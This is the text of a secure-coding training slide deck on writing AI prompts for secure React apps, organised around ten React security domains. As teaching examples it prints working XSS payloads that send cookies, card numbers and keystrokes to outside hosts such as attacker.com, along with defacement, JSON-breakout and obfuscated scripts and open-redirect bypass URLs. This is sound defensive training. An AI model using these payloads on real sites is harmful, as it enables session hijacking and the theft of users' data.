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Using AI to Create
Secure React Applications
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React AI Top Ten Learning Objectives

What is React – What are the Top Security Domains Developers Encounter

How to Create AI Prompts for React Security Domains

Key Concepts and Definition 

Challenges with this Risk

Best Protection Strategies 

Creating AI prompts for Protection Strategies 
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A Little Background Dirt…

jim@manicode.com

      @manicode

▪ Former OWASP Global Board Member

▪ 27+ years of software development experience

▪ Author of Iron-Clad Java, Building Secure Web 
Applications from McGraw-Hill/Oracle-Press

▪ OWASP Project Leader
▪ OWASP Cheat Sheet Series

▪ OWASP Application Security Verification Standard
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AI Secure Code Generation Lifecycle



© 2025 MANICODE SECURE CODING EDUCATION     5

Secure AI Code Lifecycle

Create

Create 
Verbose 
Security Rules 
WITH HUMAN 
EXPERTS

Convert

Convert 
Human 
Security Rules 
into AI Rules

Apply

Apply AI Rules 
to your AI 
Session

Instruct

Instruct AI to 
Create Code

Apply

Apply AI Rules 
Again

Run

Run SAST and 
Other Code 
Review 
Methods
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• Build Security Requirements 
from Human Verified Expertise

• Focus on Common Vulns

• Use Verbose Language

• Consider Code Samples for 
Critical Security Utilities

Create Security Requirements
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• Convert Verbose 
Requirements to Concise 
Prompts

• Use Explicit Security Language

• Set Boundaries and 
Constraints for AI

• Consider converting rules
for each AI engine

Convert Security Requirements 
into AI Rules

© 2025 MANICODE SECURE CODING EDUCATION     7



© 2025 MANICODE SECURE CODING EDUCATION     8

•Apply Prompts to your AI 
Session for Code 
Generation

•Generate Code with 
Detailed Functional 
Requirements

•Apply AI Rules Before 
and Sometimes After 
Code Generation

Apply AI Rules
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Iterate and Refine the Prompt for Better Security

Repeat Repeat the Cycle Until Security Standards Are Met

Optimize Optimize Prompts to Cover Edge Cases

Adjust Adjust Prompts with Clearer Security Directives

Incorporate Incorporate Feedback from Validation

Review Review AI-Generated Code for Gaps
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Assess software ability to perform consistently 
Code

Reliability Metrics

Aim for Smooth 
Operation

Expected Performance

Measures the number of linearly independent paths through the codeCyclomatic Complexity

Measures code understandability by humans
Cognitive

Complexity

Indicates how well-related the responsibilities of a module or class areHigh Cohesion

Reduce Complexity
Achieve 

Robust Code
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React AI Prompt: Code Quality Rules I

▪Maintain Low Cyclomatic Complexity: Write simple, modular code for 
readability, testing, and bug prevention.

▪Minimize Cognitive Complexity: Keep logic clear and structured to 
reduce the mental load required to understand your code.

▪ Avoid Code Duplication: Reuse code effectively to promote DRY 
principles. (Exception: For admin-specific components, maintain 
separate code if needed.)
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React AI Prompt: Code Quality Rules II

▪High Cohesion and Loose Coupling: Group related functionality in 
components/modules; design components with minimal external 
dependencies.

▪ Use Clear Naming Conventions: Choose meaningful names for 
variables, functions, and components.

▪ Follow the Single Responsibility Principle (SRP): Keep components 
focused on one main functionality.

▪ Ensure Accessibility: Comply with Web Content Accessibliity 
Guidelines.
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Additional Prompt Engineering Best Practices

▪Be Specific

▪Explain Context and Purpose

▪ Include Constraints

▪Provide Good Code Examples

▪Ask for Explanations

▪ Iterate Slowly and Refine

▪Put your prompts under version control
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What is XSS?
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Real World XSS Attacks

British Airways (2018): Magecart exploited an XSS vulnerability in a 
JavaScript library, Feedify, used on the British Airways website. A 
whopping 380,000 credit cards were skimmed.

Fortnite (2019): An XSS vulnerability on a retired page exposed the 
data of over 200 million users. 

eBay (2015-2017): A severe XSS vulnerability was found in eBay's 'url' 
parameter. This flaw allowed attackers to inject malicious code into a 
page, gaining full access to seller accounts, manipulating listings, and 
stealing payment details. 
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Reflected XSS Flow

Hacker sends 

link to victim. 

Link contains 

XSS payload.

1

Victim views 

page via XSS 

link supplied 

by Hacker.

2

XSS code executes on 

Victim’s browser and 

sends cookie

to evil server.

3

Cookie is stolen. 

Hacker can hijack the 

Victim’s session.

4

https://site.com?data=<script>

<script>
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Stored XSS Flow

2

3

4

1

<script>

<script>

<script>
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PLEASE USE CAUTION 
WHEN USING THESE 

REAL-WORLD ATTACK 
PAYLOADS!
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Test for Cross-Site Scripting

What are our technical testing goals?
▪ Can an attacker get unescaped special characters to render in a webpage of another user

▪ Can an attacker get JavaScript, HTML, CSS or other markup from user input to execute on another users 
webpage?

What is the process for testing XSS?
▪ Submit JavaScript (or other) test payloads to the website or API

▪ <script>alert(1)</script> while not dangerous is a common test to see if you can get JavaScript to 
execute from untrusted data

▪ Check webpages that render this data to see if they execute your test payloads
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https://cheatsheetseries.owasp.org/cheatsheets/XSS_Filter_Evasion_Cheat_Sheet.html 

https://cheatsheetseries.owasp.org/cheatsheets/XSS_Filter_Evasion_Cheat_Sheet.html
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Cookie Theft XSS

<script>

var badURL='https://manicode.com?data=' + 

uriEncode(document.cookie);

new Image().src = badURL;

</script>

<script>new 

Image().src='https://manicode.com?data='+escape

(document.cookie)</script>

Only HTTP could 

prevent this!



© 2025 MANICODE SECURE CODING EDUCATION     23

Credit Card Theft XSS

<script>

var badURL='https://manicode.com?data=' 

+ uriEncode(document.getElementById

('credit-card’)).value; new Image().src 

= badURL;

</script>

Only HTTP could 

prevent this!
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LocalStorage and 
SessionStorage 

Theft
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XSS Attack: Same Site Request Forgery

<Script>

var img = document.createElement("img");

img.src = 

"https://webmail.com/send/boss@email.com?subject=hey&body=

you-are-a-jerk";

</Script>
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Keystroke logger

<script>

document.onkeydown = function(e) { 

 var key = String.fromCharCode(e.keyCode); 

fetch('https://attacker.com/collect.php', { 

  method: 'POST', 

  headers: { 'Content-Type': 'text/plain' }, 

  body: key 

 }); 

}; 

</script>
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EXAMPLE

Good code Bad code User defined input

<script>

var badteam = "The Patriots";
var awesometeam = "Any other team ";

var data = "";

for (var i = 0; i < 100; i++) { 

  data += "<marquee><b>";

  for (var y = 0; y < 8; y++) {

    if (Math.random() > .6) {

      data += badteam + " kick worse than my mom!";

    } else {

      data += awesometeam + " is obviously totally 
awesome!";

    }

}

data += "</h1></marquee>";}

document.body.innerHTML=(data + "");

</script>

SITE DEFACEMENT XSS
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XSS With No Letters or Numbers!  https://www.jsf**k.com/ 

[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[

]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]

])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+

(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+

!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![

]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]

+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[

+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!!

[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![

]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[

]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![

]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+(!

[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])

[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]]+[+!+[]]+(

!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[

])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]])()

https://www.jsfuck.com/
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polyglot XSS for any UI location
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Show login then rewrite all forms to evil.com 
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What is React & 
What are the Top Security Domains
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React.js : The React JavaScript Library

▪ JavaScript library for UI development created by Facebook

▪ Component-based architecture

▪ Virtual DOM for efficient updates

▪ Declarative UI approach

▪ Unidirectional data flow

▪ Active community, continuous updates

What is React?
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React AI Prompt: 
Encode User Inputs

Role

Please act as an expert idiomatic ReactJS 
v19.1.0 developer that focuses on security and 
maintainability. Please use these rules to help AI 
generate Secure, Maintainabile and idiomatic 
React v19.1.0 Code.
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React Component attack surface

View Source

Content Injection and XSS
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View Source
to find React 

Security Issues
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• Hardcoded Secrets

• No Access Control At All

• Usage of Unsafe React Lifecycle Methods

• Direct DOM Manipulation

• Inline Scripting and eval()

• Props or Types raw without Security

• Storing Sensitive Data in Client-Side 
Storage

• Using Deprecated or Vulnerable Packages

• Misusing Third-Party Libraries

• Not Validating External URLs

View-Source into Client-Side 
React Code
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R1
Cross Site

Scripting

R2
Dangerous

URLs

R3
Rendering HTML

R4
Securing

JSON

R5
Dangerous

Styles

R7
Access Control 

Failures

R8
Vulnerable 

Dependencies

R9
Open Redirects

R10
Insecure 

Server-Side 

Rendering

R1 R2 R3 R4 R5

R7 R8 R9 R10
R6

Insecure Native 

DOM Access

R6

React Security Domains – 2025 Edition
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R1 Cross Site Scripting & React
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Auto Escaping (JSX)

Auto-escaping is a security layer in React to help prevent XSS.

Auto-escaping will not protect you completely. 

There are ways an auto-escaped string can still be used to execute Javascript.
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XSS Attack: Cookie Theft : RAW vs ENCODED  { x }

<script>

var badURL="https://manicode.com?data=" + 

encodeURIComponent(document.cookie);

var img = document.createElement("IMG");

img.src = badURL;

</script>

&lt;script&gt;

var badURL=&quot;https://manicode.com?data=&quot; + 

encodeURIComponent(document.cookie);

var img = document.createElement(&quot;IMG&quot;);

img.src = badURL;

&lt;/script&gt;
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React AI Prompt: 
Encode User Inputs

Encode User Inputs

Always place user inputs in JSX via curly braces ({}) to prevent XSS.
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Auto Escaping with ReactJS

The second and third argument to React.createElement will auto-escape.

That isn't enough to avoid element specific attribute injection attacks when prop 
values are attacker controlled, validation needs to occur.
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class, id, style, title, alt, role, aria-*, data-*, name, value, type, placeholder, 
maxlength, minlength, pattern, readonly, disabled, checked, selected, multiple, 
required, size, width, height, srcset, sizes, media, autoplay, controls, loop, muted, 
preload, autocapitalize, autocomplete, autocorrect, spellcheck, contenteditable, 
draggable, dropzone, hidden, tabindex, accesskey, contextmenu, dir, lang, 
translate, novalidate, formnovalidate, formenctype, formmethod, formtarget, http-
equiv, charset, async, defer, reversed, start, high, low, optimum, span, colspan, 
rowspan, headers, scope

Safe Attributes

https://github.com/cure53/DOMPurify/blob/main/src/attrs.js 

https://github.com/cure53/DOMPurify/blob/main/src/attrs.js
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href, src, action, formaction, manifest, poster, cite, background, ping

Almost Safe Attributes (URL Loaders)

https://github.com/cure53/DOMPurify/blob/main/src/attrs.js 

https://github.com/cure53/DOMPurify/blob/main/src/attrs.js
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React AI Prompt:
Enforce Safe Usage of createElement Type

Validate React.createElement Types

Use allow list validation for tag or component names.
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React AI Prompt:
Enforce Safe Usage of createElement Props

Validate React.createElement Props

Use PropTypes to validate props. Avoid passing unvalidated data into 
executable attributes (e.g., onClick).
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Dangerous React
When Autoescaping Fails

• React.createElement(danger, maybe-danger, safe) prop or type values

• dangerouslySetInnerHTML

• javascript: or data: URLs

• values passed into CSS

• Embedded JSON

• Building React Templates with Server Side Data
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Sanitation
Cleans out data

and removes

the bad stuff

Encode
Converts data to an 

equivalent form that is 

safe for the given use

Validation
Validation check

 if data is valid an

 rejects it if it is not
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Sanitation
HTML input

Encode
CSS variables, 

embedding JSON, { }

Validation
URL Input
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R2: Dangerous URLs
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Sanitation
HTML input

Encode
CSS variables, 

embedding JSON, { }

Validation
URL Input
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Bypassing Auto Escaping (JSX)

var userHomepage =

"https://jimscatpictures.com"

<a href={userHomepage}>Homepage</a>

javascript:document.body.innerHTML='Dogs-Are-Awesome';
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props, Auto Escaping with JSX

URL is not validated properly!
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Default Linter Rules in create-react-app
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Bypassing Auto Escaping (JSX)

var userHomepage =

"https://jimscatpictures.com"

<a href={userHomepage}>My Homepage</a>

javascript:document.body.innerHTML='Dogs-Are-Awesome';
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Simple URL Validation
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Advanced URL 
Validation
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Safe URL Rendering
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React AI Prompt: 
Validate URLs

Implement Strict URL Validation

function validateUrl(url) {

  if (typeof url !== 'string') return '#';

  try {

    const parsedUrl = new URL(url);

    return parsedUrl.protocol === "https:" ? url : '#';

  } catch (error) {

    return '#';

  }

}
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React AI Prompt: 
User Driven URLs

Strict URL Validation

Render user-driven and any other links or URL's with:

<a target="_blank" rel="noopener noreferrer" 

href={validateUrl(url)}>…</a>
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R3: Rendering HTML
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Sanitation
HTML input

Encode
CSS variables, 

embedding JSON, { }

Validation
URL Input
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This example displays all plugins and buttons that come with the TinyMCE package.

Source output from post
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Rendering User-Driven HTML

dangerouslySetInnerHTML 

disables 

autoescaping

(which is dangerous)

Consider sanitizing 

untrusted HTML

Auto-escaped raw 

HTML just looks like 

HTML on screen
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Use DOMPurify to Sanitize Untrusted
HTML Client-Side Sanitization

https://github.com/cure53/DOMPurify

DOMPurify is a DOM-only, super-fast, uber-tolerant 
XSS sanitizer for HTML, MathML and SVG. 

Demo: https://cure53.de/purify

<div dangerouslySetInnerHTML={{__html: 

DOMPurify.sanitize(untrustedHTML)}} />

https://github.com/cure53/DOMPurify
https://cure53.de/purify
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Limit 
DOMPurify 
for <img> 

tag locations
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DOMPurify URL Attribute Configuration
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BEST PROTECTION STRATEGIES

DOMPurify.sanitize

BAD

<div dangerouslySetInnerHTML={{__html: 

"<script>alert('xss!');</script>}"} />

GOOD

<div dangerouslySetInnerHTML={{__html: 

DOMPurify.sanitize("<script>alert('xss!');</

script>")}}/>
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React AI Prompt: 
Minimize Use of dangerouslySetInnerHTML

Minimize Use of dangerouslySetInnerHTML

If you do use dangerouslySetInnerHTML then you must sanitize 
content with DOMPurify and make sure DOMPurify is installed and 
using at least version 3.2.6 or the latest version only if its greater than 
3.2.6.
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R4: Securing JSON
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Sanitation
HTML input

Escape
CSS variables, 

embedding JSON, { }

Validation
URL Input
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Pre-Fetching Data to Render

A popular performance pattern is to embed preload JSON to save a round trip.

window.__INITIAL_STATE__

window.__PRELOADED_STATE__

JSON.stringify(state) is commonly cited in documents as the answer.

DON'T DO THIS! IT WILL LEAD TO XSS!
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Dangerously Pre-Fetching Data

<script>

window.__INITIAL_STATE = <%= JSON.stringify(initialState) %>

</script>

<script>

window.__INITIAL_STATE = {"address1": "</script>'}<script>alert(1);a='x';{"}

</script>
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https://github.com/yahoo/serialize-javascript

Serialized code to a string of literal JavaScript which can be embedded in an HTML 
document by adding it as the contents of the <script> element. 

serialize({ haxorXSS: '</script>' });

encodeJSON({ haxorXSS: '</script>' });

encodeJS({ haxorXSS: '</script>' });

The above will produce the following string, JS escaped output which is safe to put 
into an HTML document:

'{"haxorXSS":"\\u003C\\u002Fscript\\u003E"}
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Pre-Fetching JSON Data Safely

Encode embedded JSON with a safe JSON encoding engine.

Example:

<script>

window.__INITIAL_STATE =

 '<%= Encoder.encodeForJS(initialStateJSON) %>';

</script>
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Fixed Pre-Fetching Data

<script>

window.__INITIAL_STATE = '<%= encodeforJS(initialState) %>'

</script>

<script>

window.__INITIAL_STATE = {"address1": 
"\x3c\x2f\x73\x63\x72\x69\x70\x74\x3e\x27\x7d\x3c\x73\x63\x72\x69\x70
\x74\x3e\x61\x6c\x65\x72\x74\x28\x31\x29\x3b\x61\x3d\x27\x78\x27\x3b\
x7b\x22\x7d"

</script>
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React AI Prompt: 
Safely Embed Preloaded JSON

Safely Embed JSON

Use safe encoding techniques (e.g., JavaScript string encoding) before 
placing JSON in the DOM.
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R5 : Dangerous Styles
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Sanitation
HTML input

Escape
CSS variables, 

embedding JSON, { }

Validation
URL Input
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https://github.com/maxchehab/CSS-Keylogging/blob/master/css-keylogger-extension/keylogger.css

Attacker controlled CSS

https://github.com/maxchehab/CSS-Keylogging/blob/master/css-keylogger-extension/keylogger.css
https://github.com/maxchehab/CSS-Keylogging/blob/master/css-keylogger-extension/keylogger.css
https://github.com/maxchehab/CSS-Keylogging/blob/master/css-keylogger-extension/keylogger.css
https://github.com/maxchehab/CSS-Keylogging/blob/master/css-keylogger-extension/keylogger.css
https://github.com/maxchehab/CSS-Keylogging/blob/master/css-keylogger-extension/keylogger.css
https://github.com/maxchehab/CSS-Keylogging/blob/master/css-keylogger-extension/keylogger.css
https://github.com/maxchehab/CSS-Keylogging/blob/master/css-keylogger-extension/keylogger.css
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BEST PROTECTION STRATEGIES

CSS.escape

DEFENDING AGAINST ATTACKER-CONTROLLED CSS
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CSS.escape()

const element = 
document.querySelector(`#${CSS
.escape(id)} > img`);

Browser compatibility 
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CSS Escape 
in Action
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React AI Prompt: 
Enforce Safe CSS in Styled Components

Escape Dynamic CSS

Use `CSS.escape()` for dynamic styling.
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R6: Insecure Native DOM Access 



© 2025 MANICODE SECURE CODING EDUCATION     91

Please Do Not –Edit- the DOM Via Refs

Manipulate DOM elements directly with Refs like createRef(). Bad.

Programatic focus, scrolling or click-away handlers? Good.

findDOMNode() and read only access? Good.

Actually, editing the DOM, BAD!
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Safe JavaScript Sinks

Setting a Values

▪ elem.textContent = dangerVariable;

▪ elem.insertAdjacentText(dangerVariable);

▪ elem.setAttribute(safeName, dangerVariable); 

▪ formfield.value = dangerVariable;

▪ document.createTextNode(dangerVariable);

▪ document.createElement(dangerVariable);

▪ elem.innerHTML =

OK OK OK OK

DOMPurify.sanitize(dangerVar);

#cantStop

#wontStop

OK
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Safe Attributes

▪ class, id, style, title, alt, role, aria-*, data-*, name, value, type, placeholder, 
maxlength, minlength, pattern, readonly, disabled, checked, selected, multiple, 
required, size, width, height, sizes, media, autoplay, controls, loop, muted, 
preload, autocapitalize, autocomplete, autocorrect, spellcheck, contenteditable, 
draggable, dropzone, hidden, tabindex, accesskey, contextmenu, dir, lang, 
translate, novalidate, formnovalidate, formenctype, formmethod, formtarget, 
http-equiv, charset, async, defer, reversed, start, high, low, optimum, span, 
colspan, rowspan, headers, scope

https://github.com/cure53/DOMPurify/blob/main/src/attrs.js 

https://github.com/cure53/DOMPurify/blob/main/src/attrs.js
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Almost Safe Attributes (URL Loaders)

▪ href, src, srcset, action, formaction, manifest, poster, cite, background, ping, 

https://github.com/cure53/DOMPurify/blob/main/src/attrs.js 

https://github.com/cure53/DOMPurify/blob/main/src/attrs.js
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React AI Prompt: 
Restrict Ref Usage to Safe Operations

Safe Ref Usage

Avoid using refs to directly modify the DOM.
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R7: Access Control and Exposure Failures
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Visibility: Client-side code is visible and modifiable 
by end users.

Security: Users can bypass restrictions using 
developer tools.

Trust: Client-side cannot enforce security-critical 
decisions.

Avoid hiding/showing UI elements or
data based on user roles.

Validate permissions on the server
before returning data or UI elements.

Avoid any access control
in client-side React
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The Principle of Least Privilege 

Every module must be able to ONLY access the information and resources it requires 

Resources made available only for what is are necessary for legitimate purposes

“Every program and every privileged user of the system should operate using the 
least amount of privilege necessary to complete the job. ”

— Jerome Saltzer, Communications of the ACM

Also known as the principle of minimal privilege or the principle of least authority

https://en.wikipedia.org/wiki/Jerome_H._Saltzer
https://en.wikipedia.org/wiki/Communications_of_the_ACM
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Problems with Client-Side Access Control 

▪ They can leak administrative interface and endpoint information that can be 
used by a malicious attacker 
ultimately, a normal static HTML application, do not expose administrative functionality within your React 
app if the user is not authenticated as an administrator

▪ They expose business logic, thus increasing the attack surface 
As the principle of least privilege states, only expose business logic necessary based on the role of the user 
within the React app

▪ Can be easily bypassed – client-side controls should be considered as untrusted 
Obfuscation and other similar techniques can stall an attacker, but ultimately they will figure out the logic of 
your client and use it against you
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• Does not expose any code to the client at first, 
defers object initialization 

• Dynamically loaded when needed
Example: Deferring loading images until required to display them 

• Server-side access controls can prevent
admin code from being displayed
to a non admin!

• It is also known as asynchronous
loading or on-demand loading 

Lazy Loading:
Design Pattern 
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React AI Prompt: 
Avoid Client-Side Access Control

Restrict Client-Side Access Control

Enforce access control on the server side, only. Do not do any access 
control in client-side React.
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R8: Vulnerable and Outdated 
Versions and Dependencies
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React AI Prompt: 
Keep React Up To Date

Keep React Up To Date

Use the latest React version to leverage the latest features and 
security updates



© 2025 MANICODE SECURE CODING EDUCATION     105

React Version 
https://www.npmjs.com/package/react 

▪ All applications should endeavor to use the latest version of React.

▪ There was a flaw in all of the React versions prior to 0.14 that left applications 
opened to a XSS vulnerability under certain circumstances. 

▪ If there is a reason why you can't upgrade to 0.14, you can still manually protect 
yourself from this vulnerability.

https://www.npmjs.com/package/react


© 2025 MANICODE SECURE CODING EDUCATION     106

Module 
Counts
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Third Party ReactJS Components

▪ Third party components typically do not come with any security guarantee

▪ Always do a security audit of third-party components before putting them into 
your application

▪ Just because a component has lots of stars on GitHub doesn’t mean anyone has 
done a proper security audit

▪ Use automation to verify JS and other dependencies are updated and not 
vulnerable
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Check your JavaScript Dependencies 

▪ 3rd party components you are using HAVE SECURITY ISSUES. 

▪ Check your dependencies and update them 

▪ Integrate the way you check for vulnerabilities into your continuous 
integration process
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Check Dependencies for Dangerous Calls 

▪ Avoid dependencies that use:
– dangerouslySetInnerHTML

– innerHTML, 

– unvalidated URLs 

– other unsafe patterns

▪ Avoid libraries that insert HTML directly into the DOM.

▪ Prefer libraries like react-markdown that use the React API to constructed 
elements rather than dangerouslySetInnerHTML

▪ https://www.npmjs.com/package/react-markdown  

https://www.npmjs.com/package/react-markdown
https://www.npmjs.com/package/react-markdown
https://www.npmjs.com/package/react-markdown
https://www.npmjs.com/package/react-markdown
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JavaScript 3rd Party Management Tools

▪ Retire.js (JavaScript 3rd party library analysis)
https://retirejs.github.io/retire.js/

▪ Scan your project for vulnerabilities
https://docs.npmjs.com/cli/audit

▪ ESLint
https://eslint.org/ 

https://retirejs.github.io/retire.js/
https://docs.npmjs.com/cli/audit
https://eslint.org/
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React AI Prompt: 
Avoid Unsafe Third-Party Dependencies

Avoid Unsafe Dependencies

Steer clear of libraries that promote direct DOM manipulation or 
dangerouslySetInnerHTML.
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React AI Prompt: 
Select Only Updated React Components

Keep Dependencies Updated

Ensure all dependencies are up-to-date and actively maintained.
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React AI Prompt: 
Minimize Dependencies

Minimize Dependencies

Use native React/JavaScript features where possible.
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R9: Open Redirects
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Can you spot the problem here?

https://manicode.com/login?src=https://manicode.com/news
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Can you spot the problem here?

https://manicode.com/login?src=https://eviljim.com
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Unvalidated / open redirects

▪ Redirects are often used to establish a user-friendly flow
– Common example is redirecting back to the original page after login

– The redirect URL is added by the server as a request parameter, and passed around

▪ The redirect URL should be considered untrusted data
– It is generated by the server, but becomes untrusted when sent to the client

▪ Attackers can use unvalidated redirects to trick other users
– Ideal launching platform for social engineering attacks

– The first step is a legitimate application URL, so the attack is difficult to spot
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https://manicode.com/login

?redir=https://eviljim.com/

1 Send link to user

2 Load page

3 Login

4 Redirect the user

5 Load redirect

7 Login

8 Redirect the user

6 Fake login page

9 Load redirect

10 Welcome page
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I’ve got this!

https://manicode.com/somepath?someparam=somedata

url.contains("manicode.com")



© 2025 MANICODE SECURE CODING EDUCATION     120

I’ve got this!

url.contains("manicode.com")

url.startsWith("https://manicode.com")

https://manicode.com.example.com/yougothacked

https://example.com/manicode.com/yougothacked

https://hackmanicode.com/

https://evil.com?param=manicode.com

https://manicode.com:pass@manico.net/
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I’ve got this!

url.match("https://*.manicode.com")

https://eviljim.com/site.manicode.com
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https://datatracker.ietf.org/doc/html/draft-ietf-oauth-security-topics#name-countermeasures 

https://datatracker.ietf.org/doc/html/draft-ietf-oauth-security-topics#name-countermeasures
https://datatracker.ietf.org/doc/html/draft-ietf-oauth-security-topics#name-countermeasures
https://datatracker.ietf.org/doc/html/draft-ietf-oauth-security-topics#name-countermeasures
https://datatracker.ietf.org/doc/html/draft-ietf-oauth-security-topics#name-countermeasures
https://datatracker.ietf.org/doc/html/draft-ietf-oauth-security-topics#name-countermeasures
https://datatracker.ietf.org/doc/html/draft-ietf-oauth-security-topics#name-countermeasures
https://datatracker.ietf.org/doc/html/draft-ietf-oauth-security-topics#name-countermeasures
https://datatracker.ietf.org/doc/html/draft-ietf-oauth-security-topics#name-countermeasures
https://datatracker.ietf.org/doc/html/draft-ietf-oauth-security-topics#name-countermeasures
https://datatracker.ietf.org/doc/html/draft-ietf-oauth-security-topics#name-countermeasures
https://datatracker.ietf.org/doc/html/draft-ietf-oauth-security-topics#name-countermeasures
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Securing redirects

▪ Applications should only redirect to valid destinations
– Match the given redirect URL against a allowlist of valid URLs

– When doing partial matching, at least check the full origin, including the path separator 

▪ A better, more secure option is to keep the URL on the server side
– When the server generates the URL, the value is still considered safe

– Unless it is extracted from client-side data, such as the Referer header

– This value cannot be manipulated by an attacker, so remains safe to use

– In React consider <Redirect to="/dashboard" />

url.equals("https://manicode.com") ||

url.startsWith("https://manicode.com/")
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Secure Allow-List Redirect in React
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React AI Prompt: 
Prevent Open Redirects in React

Prevent Open Redirects

Allow only trusted redirect URLs (via allow-list). 
Use Reacts <Redirect> tag.



© 2025 MANICODE SECURE CODING EDUCATION     126

R10: Insecure Server-Side Rendering
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Understanding Server-Side Rendering 

➢Server-Side Rendering (SSR) use the React framework to assemble the HTML on 
the server and then delivers that complete HTML to the client 

▪ SSR is popular as it improves performance, even though it can increase the 
complexity of your application
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Secure Server-Side Rendering

Use the renderTo functions, they are SAFE and do all the content escaping for you 
– as long as you follow the previous core React security concepts!
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The Most Common Mistake in Server-Side Rendering

▪ Do not concatenate the potentially safe renderTo functions with variables with 
raw user-controlled data 

▪ raw + renderToString()

▪ raw + renderToStaticMarkup()
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React AI Prompt: Ensure Safe React Template 
Construction with Server-Side Rendering (SSR)

Safe SSR Practices

Use `renderToString` or `renderToStaticMarkup` and sanitize 
dynamic content before rendering.
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Vulnerable React Template Injection: avoid 
dynamically creating react templates with user data
<html>

<head>

<script>

function Welcome(props) {

  return <h1>Hello, {props.name}</h1>;

}

<%

 String name = request.getParameter("name");

%>

const element = <Welcome name="<%= name %>" />;

ReactDOM.render(

  element,

  document.getElementById('root')

);

</body>

</html>

Attack:  "/>; var img = document.createElement("img"); img.src = 

"https://webmail.com/send/boss@email.com?subject=hey&body=you-are-a-jerk";
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React AI Prompt:
Prevent React Template Injection

Prevent React Template Injection

Don’t dynamically construct JSX with untrusted data.
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Conclusion on React Security
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R1
Cross Site

Scripting

R2
Dangerous

URLs

R3
Rendering HTML

R4
Securing

JSON

R5
Dangerous

Styles

R7
Access Control 

Failures

R8
Vulnerable 

Dependencies

R9
Open Redirects

R10
Insecure 

Server-Side 

Rendering

R1 R2 R3 R4 R5

R7 R8 R9 R10
R6

Insecure Native 

DOM Access

R6

React Security Domains – 2025 Edition
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Use Linters to Check your Code and Libraries

▪ Linters analyse your code looking for problems 
– They help diagnose and fix issues before final release; fewer defects make it into production

▪ Security Linters provide important security verifications for your code
– Examples of Linters for Statis Analysis: StandardJS for JavaScript

– Examples of Linters for Security: LGTM for several languages, including JavaScript

▪ ESLint is a great tool for React
– npm install eslint –global

– npx eslint --init

– Then select React
as the framework that
ESLint will scan
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1. Install ESLint and plugins
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2. Configure ESLint
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Final Thoughts
• Final Thoughts and Takeaways

• Understanding React Security

• AI-Driven Security

• Prompt Engineering:

• Continuous Improvement

• Practical Examples

• Call to Action
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It’s been a pleasure

jim@manicode.com
JIM MANICOSecure Coding Instructor                   www.manicode.com
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